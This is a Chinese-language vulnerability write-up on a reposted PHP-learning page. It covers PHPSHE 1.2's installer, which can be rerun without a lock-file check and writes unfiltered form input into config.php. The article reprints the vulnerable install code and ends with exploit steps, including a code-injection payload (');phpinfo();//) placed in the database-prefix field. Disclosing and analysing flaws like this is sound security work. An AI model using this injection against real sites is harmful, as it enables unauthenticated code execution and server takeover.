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phpshe1.2前台无需登录getshell - 网站安全 - 自学ph

来源：自学PHP网时间：2015-04-15 15:00 作者：阅读:次

[导读] 存在漏洞的文件install index php，整个过程没有判断install lock，导致可以重复安装，同是在安装的过程中，对配置项没有进行任何处理，导致任意代码写入。详细分析如下：install index php...

此问题由于phpshe系统可以重装，加上install时存在任意代码写入导致代码执行。

install/index.php

<?php

/**

 * @copyright     2008-2012 简好技术 <http://www.phpshe.com>

 * @creatdate     2012-1111 koyshe <koyshe@gmail.com>

 */

error_reporting(E_ALL ^ E_NOTICE);

date_default_timezone_set('PRC');

header('Content-Type: text/html; charset=utf-8');



//改写不安全的register_global和防sql注入处理

if (@ini_get('register_globals')) {

foreach($_REQUEST as $name => $value){unset($$name);}

}



$pe['host_root'] = 'http://'.str_ireplace(rtrim(str_replace('\\','/',$_SERVER['DOCUMENT_ROOT']), '/'), $_SERVER['HTTP_HOST'], str_replace('\\', '/', dirname(__FILE__))).'/../';

$pe['path_root'] = str_replace('\\','/',dirname(__FILE__)).'/../';

include("{$pe['path_root']}/include/class/cache.class.php");

include("{$pe['path_root']}/include/function/global.func.php");



if (get_magic_quotes_gpc()) {

!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');

!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');

}

else {

!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');

!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');

}



switch ($_g_step) {

//#####################@ 配置信息 @#####################//

case 'setting':

if (isset($_p_pesubmit)) {

$dbconn = mysql_connect("{$_p_db_host}:{$_p_db_port}", $_p_db_user, $_p_db_pw);

if (!$dbconn) pe_error('数据库连接失败...数据库ip，用户名，密码对吗？');

if (!mysql_select_db($_p_db_name, $dbconn)) {

mysql_query("CREATE DATABASE `{$_p_db_name}` DEFAULT CHARACTER SET utf8", $dbconn);

!mysql_select_db($_p_db_name, $dbconn) && pe_error('数据库选择失败...数据库名对吗？');

}

mysql_query("SET NAMES utf8", $dbconn);

mysql_query("SET sql_mode = ''", $dbconn);



$sql_arr = explode('/*#####################@ pe_cutsql @#####################*/', file_get_contents("{$pe['path_root']}install/phpshe.sql"));

foreach ($sql_arr as $v) {

$result = mysql_query(trim(str_ireplace('{dbpre}', $_p_dbpre, $v)));

}

if ($result) {

mysql_query("update `{$_p_dbpre}admin` set `admin_name` = '{$_p_admin_name}', `admin_pw` = '".md5($_p_admin_pw)."' where `admin_id`=1", $dbconn);

$config = "<?php\n\$pe['db_host'] = '{$_p_db_host}'; //数据库主机地址\n\$pe['db_name'] = '{$_p_db_name}'; //数据库名称\n\$pe['db_user'] = '{$_p_db_user}'; //数据库用户名\n\$pe['db_pw'] = '{$_p_db_pw}'; //数据库密码\n\$pe['db_coding'] = 'utf8';\n\$pe['url_model'] = 'pathinfo'; //url模式,可选项(pathinfo/pathinfo_safe/php)\ndefine('dbpre','{$_p_dbpre}'); //数据库表前缀\n?>";

file_put_contents("{$pe['path_root']}config.php", $config);

pe_goto("{$pe['host_root']}install/index.php?step=success");

}

else {

pe_error('数据库安装失败！');

}

}

if (is_writeable("{$pe['path_root']}data/")) {

$mod_data = '<strong class="cgreen num">Yes</strong>';

$mod_data_result = true; 

}

else {

$mod_data = '<strong class="cred num">No</strong>';

$mod_data_result = false;

}

if (is_writeable("{$pe['path_root']}config.php")) {

$mod_config = '<strong class="cgreen num">Yes</strong>';

$mod_config_result = true; 

}

else {

$mod_config = '<strong class="cred num">No</strong>';

$mod_config_result = false;

}

$menucss_2 = "sel";

$seo = pe_seo($menutitle='配置信息 -> PHPSHE商城系统安装向导', '', '', 'admin');

break;

//#####################@ 安装成功 @#####################//

case 'success':

$menucss_3 = "sel";

$seo = pe_seo($menutitle='安装成功 -> PHPSHE商城系统安装向导');

break;

//#####################@ 安装协议 @#####################//

default :

$menucss_1 = "sel";

$seo = pe_seo($menutitle='安装协议 -> PHPSHE商城系统安装向导');

break;

}

include('install.html');

pe_result();

?>

整个过程都没有判断安装后的install.lock文件，导致可以任意重装漏洞！

再来看，安装时，传输数据时没有过滤，导致任意文件内容写入：

if ($result) {

mysql_query("update `{$_p_dbpre}admin` set `admin_name` = '{$_p_admin_name}', `admin_pw` = '".md5($_p_admin_pw)."' where `admin_id`=1", $dbconn);

$config = "<?php\n\$pe['db_host'] = '{$_p_db_host}'; //数据库主机地址\n\$pe['db_name'] = '{$_p_db_name}'; //数据库名称\n\$pe['db_user'] = '{$_p_db_user}'; //数据库用户名\n\$pe['db_pw'] = '{$_p_db_pw}'; //数据库密码\n\$pe['db_coding'] = 'utf8';\n\$pe['url_model'] = 'pathinfo'; //url模式,可选项(pathinfo/pathinfo_safe/php)\ndefine('dbpre','{$_p_dbpre}'); //数据库表前缀\n?>";

file_put_contents("{$pe['path_root']}config.php", $config);

pe_goto("{$pe['host_root']}install/index.php?step=success");

}

else {

pe_error('数据库安装失败！');

}

这里的配置信息没有任何处理，进入了config文件，导致代码执行。

首先完整安装一次

然后再次安装，完全无限制。

在安装时，我们在数据表前缀写入：');phpinfo();//